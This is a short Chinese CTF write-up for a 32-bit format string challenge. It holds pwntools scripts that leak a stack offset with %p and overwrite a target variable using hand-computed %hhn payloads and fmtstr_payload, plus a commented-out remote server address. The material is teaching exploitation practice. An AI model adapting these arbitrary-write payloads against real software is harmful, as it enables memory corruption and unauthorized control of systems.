检查
ida
格式化字符串漏洞,覆盖大数字
准备 无
exp
方法一、手动计算
#exp0,获得偏移
from pwn import*
context.log_level="debug"
i=process("/home/error/桌面/no")
p1=b"aaaa %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p"
i.sendline(p1)
i.interactive()
#exp,由上得到偏移为7,目标值为0x5201314
'''
┌──(root㉿kali)-[~]
└─# python3
Python 3.10.8 (main, Nov 4 2022, 09:21:25) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x114-16
260
>>> 0x213-0x114
255
>>> 0x220-0x213
13
>>> 0x305-0x220
229
>>>
'''
from pwn import*
context.log_level="debug"
i=process("/home/error/桌面/no")
#i=remote("101.43.222.218",9284)
i.recvline()
key_addr=0x0804A030
p1=flat([key_addr,key_addr+1,key_addr+2,key_addr+3])
p1+=b"%260x"+b"%7$hhn"+b"%255x"+b"%8$hhn"+b"%13x"+b"%9$hhn"+b"%229x"+b"%10$hhn"
i.sendline(p1)
i.interactive()
方法二、借助工具
#exp,由上得到偏移为7,目标值为0x5201314
from pwn import*
context.log_level="debug"
i=process("/home/error/桌面/no")
#i=remote("101.43.222.218",9284)
key_addr=0x0804a030
p1=fmtstr_payload(7,{key_addr:0x5201314})
i.sendline(p1)
i.interactive()
结果
思考
fmtstr_payload是pwntools里面的一个工具,用来简化对格式化字符串漏洞的构造工作。
可以实现修改任意内存,仅支持32位
p=fmtstr_payload(偏移, {变量地址:目的值})